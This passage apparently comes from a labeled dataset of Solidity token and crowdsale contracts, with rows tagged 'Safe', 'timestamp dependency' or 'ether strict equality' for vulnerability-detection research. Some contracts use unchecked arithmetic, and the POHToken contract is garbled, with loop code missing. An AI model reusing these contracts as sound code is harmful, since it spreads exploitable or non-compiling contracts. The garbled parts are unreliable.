depositedValue); } function combinedGoalReached() public view returns (bool) { return presaleWeiRaised.add(crowdsaleWeiRaised) >= COMBINED_WEI_GOAL; } }",./Dataset/timestamp dependency (TP)/,6,6 0x04a4f9341effe10ea7f79a4cebbecccf3107a19b_ERC20Token.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 70; // Give the creator all initial tokens (100000 for example) totalSupply = 70; // Update total supply (100000 for example) name = ""Jet7""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""JET7""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 1242.sol,"pragma solidity ^0.4.24; /** * title ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Token{ uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * title Standard ERC20 token * * Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20Token{ string public version = ""1.0""; string public name = ""Preserve One’s Health""; string public symbol = ""POH""; uint8 public decimals = 18; bool public transfersEnabled = true; /** * to stop this contract */ modifier transable(){ require(transfersEnabled); _; } function transfer(address _to, uint256 _value) transable public returns (bool) { require(_to != address(0)); require(balanceOf[msg.sender]>_value); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from one address to another * param _from address The address which you want to send tokens from * param _to address The address which you want to transfer to * param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) transable public returns (bool) { require(_to != address(0)); uint256 _allowance = allowance[_from][msg.sender]; require (_value <= _allowance); require(balanceOf[_from]>_value); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } /** * Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * param _spender The address which will spend the funds. * param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(allowance[msg.sender][_spender]==0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * approve should be called only first. To increment * allowed value is better to use this function */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowance[msg.sender][_spender] += _addedValue; emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowance[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] -= _subtractedValue; } emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } } // This is just a contract of a BOP Token. // It is a ERC20 token contract POHToken is StandardToken{ //解锁信息 uint currUnlockStep; //当前解锁step uint256 currUnlockSeq; //当前解锁step 内的游标 //Key1: step(募资阶段); Key2: user sequence(用户序列) mapping (uint => uint256[]) public freezeOf; //所有数额,地址与数额合并为uint256,位运算拆分。 mapping (uint => bool) public stepUnlockInfo; //所有锁仓,key 使用序号向上增加,value,是否已解锁。 mapping (address => uint256) public freezeOfUser; //用户所有锁仓,方便用户查询自己锁仓余额 uint256 internal constant INITIAL_SUPPLY = 10 * (10**8) * (10 **18); event Burn(address indexed burner, uint256 value); event Freeze(address indexed locker, uint256 value); event Unfreeze(address indexed unlocker, uint256 value); event TransferMulti(uint256 count, uint256 total); constructor() { owner = msg.sender; balanceOf[msg.sender] = INITIAL_SUPPLY; totalSupply = INITIAL_SUPPLY; } // transfer to and lock it function transferAndLock(address _to, uint256 _value, uint256 _lockValue, uint _step) transable public returns (bool success) { require(_to != 0x0); require(_value <= balanceOf[msg.sender]); require(_value > 0); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); freeze(_to, _lockValue, _step); return true; } // transfer to and lock it function transferFromAndLock(address _from, address _to, uint256 _value, uint256 _lockValue, uint _step) transable public returns (bool success) { uint256 _allowance = allowance[_from][msg.sender]; require (_value <= _allowance); require(_to != 0x0); require(_value <= balanceOf[_from]); require(_value > 0); allowance[_from][msg.sender] -= _value; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); freeze(_to, _lockValue, _step); return true; } function transferMulti(address[] _to, uint256[] _value) transable public returns (uint256 amount){ require(_to.length == _value.length && _to.length <= 1024); uint256 balanceOfSender = balanceOf[msg.sender]; uint256 len = _to.length; for(uint256 j; j= amount); //check enough and not overflow balanceOf[msg.sender] -= amount; for(uint256 i; i= _value); balanceOf[_user] -= _value; freezeOfUser[_user] += _value; freezeOf[_step].push(uint256(_user)<<92|_value); emit Freeze(_user, _value); return true; } //event ShowStart(uint256 start); //为用户解锁账户资金 function unFreeze(uint _step) onlyOwner public returns (bool unlockOver) { require(currUnlockStep==_step || currUnlockSeq==uint256(0)); require(stepUnlockInfo[_step]==false); uint256[] memory currArr = freezeOf[_step]; currUnlockStep = _step; if(currUnlockSeq==uint256(0)){ currUnlockSeq = currArr.length; } uint256 userLockInfo; uint256 _amount; address userAddress; for(uint i = 0; i<99&&currUnlockSeq>0; i++){ userLockInfo = freezeOf[_step][currUnlockSeq-1]; _amount = userLockInfo&0xFFFFFFFFFFFFFFFFFFFFFFF; userAddress = address(userLockInfo>>92); balanceOf[userAddress] += _amount; freezeOfUser[userAddress] -= _amount; emit Unfreeze(userAddress, _amount); currUnlockSeq--; } if(currUnlockSeq==0){ stepUnlockInfo[_step] = true; } return true; } /** * Burns a specific amount of tokens. * param _value The amount of token to be burned. */ function burn(uint256 _value) transable public returns (bool success) { require(_value > 0); require(_value <= balanceOf[msg.sender]); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } /** * dev Function to mint tokens * param _to The address that will receive the minted tokens. * param _amount The amount of tokens to mint. * return A boolean that indicates if the operation was successful. */ function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } address public owner; event ChangeOwner(address indexed previousOwner, address indexed newOwner); /** * revert if called by any account except owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * revert if called by any account except owner. */ function claim() onlyOwner public { owner.transfer(this.balance); } /** * Allows the current owner to transfer control of the contract to a newOwner. * param newOwner The address to transfer ownership to. */ function changeOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; emit ChangeOwner(owner, newOwner); } }",./Dataset/ether strict equality (SE),3,3 471.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 9889.sol,"pragma solidity ^0.4.13; interface IAffiliateList { function set(address addr, uint startTimestamp, uint endTimestamp) external; function get(address addr) external view returns (uint start, uint end); function inListAsOf(address addr, uint time) external view returns (bool); } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract IInvestorList { string public constant ROLE_REGD = ""regd""; string public constant ROLE_REGCF = ""regcf""; string public constant ROLE_REGS = ""regs""; string public constant ROLE_UNKNOWN = ""unknown""; function inList(address addr) public view returns (bool); function addAddress(address addr, string role) public; function getRole(address addr) public view returns (string); function hasRole(address addr, string role) public view returns (bool); } contract Ownable { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; newOwner = 0; } } } contract AffiliateList is Ownable, IAffiliateList { event AffiliateAdded(address addr, uint startTimestamp, uint endTimestamp); event AffiliateUpdated(address addr, uint startTimestamp, uint endTimestamp); mapping (address => uint) public affiliateStart; mapping (address => uint) public affiliateEnd; function set(address addr, uint startTimestamp, uint endTimestamp) public onlyOwner { require(addr != address(0)); uint existingStart = affiliateStart[addr]; if(existingStart == 0) { require(startTimestamp != 0); affiliateStart[addr] = startTimestamp; if(endTimestamp != 0) { require(endTimestamp > startTimestamp); affiliateEnd[addr] = endTimestamp; } emit AffiliateAdded(addr, startTimestamp, endTimestamp); } else { if(startTimestamp == 0) { if(endTimestamp == 0) { affiliateStart[addr] = 0; affiliateEnd[addr] = 0; } else { require(endTimestamp > existingStart); } } else { affiliateStart[addr] = startTimestamp; if(endTimestamp != 0) { require(endTimestamp > startTimestamp); } } affiliateEnd[addr] = endTimestamp; emit AffiliateUpdated(addr, startTimestamp, endTimestamp); } } function get(address addr) public view returns (uint start, uint end) { return (affiliateStart[addr], affiliateEnd[addr]); } function inListAsOf(address addr, uint time) public view returns (bool) { uint start; uint end; (start, end) = get(addr); if(start == 0) { return false; } if(time < start) { return false; } if(end != 0 && time >= end) { return false; } return true; } } contract InvestorList is Ownable, IInvestorList { event AddressAdded(address addr, string role); event AddressRemoved(address addr, string role); mapping (address => string) internal investorList; modifier validRole(string role) { require( keccak256(bytes(role)) == keccak256(bytes(ROLE_REGD)) || keccak256(bytes(role)) == keccak256(bytes(ROLE_REGCF)) || keccak256(bytes(role)) == keccak256(bytes(ROLE_REGS)) || keccak256(bytes(role)) == keccak256(bytes(ROLE_UNKNOWN)) ); _; } function inList(address addr) public view returns (bool) { if (bytes(investorList[addr]).length != 0) { return true; } else { return false; } } function getRole(address addr) public view returns (string) { require(inList(addr)); return investorList[addr]; } function hasRole(address addr, string role) public view returns (bool) { return keccak256(bytes(role)) == keccak256(bytes(investorList[addr])); } function addAddress(address addr, string role) onlyOwner validRole(role) public { investorList[addr] = role; emit AddressAdded(addr, role); } function addAddresses(address[] addrs, string role) onlyOwner validRole(role) public { for (uint256 i = 0; i < addrs.length; i++) { addAddress(addrs[i], role); } } function removeAddress(address addr) onlyOwner public { require(inList(addr)); string memory role = investorList[addr]; investorList[addr] = """"; emit AddressRemoved(addr, role); } function removeAddresses(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { if (inList(addrs[i])) { removeAddress(addrs[i]); } } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ISecurityController { function balanceOf(address _a) public view returns (uint); function totalSupply() public view returns (uint); function isTransferAuthorized(address _from, address _to) public view returns (bool); function 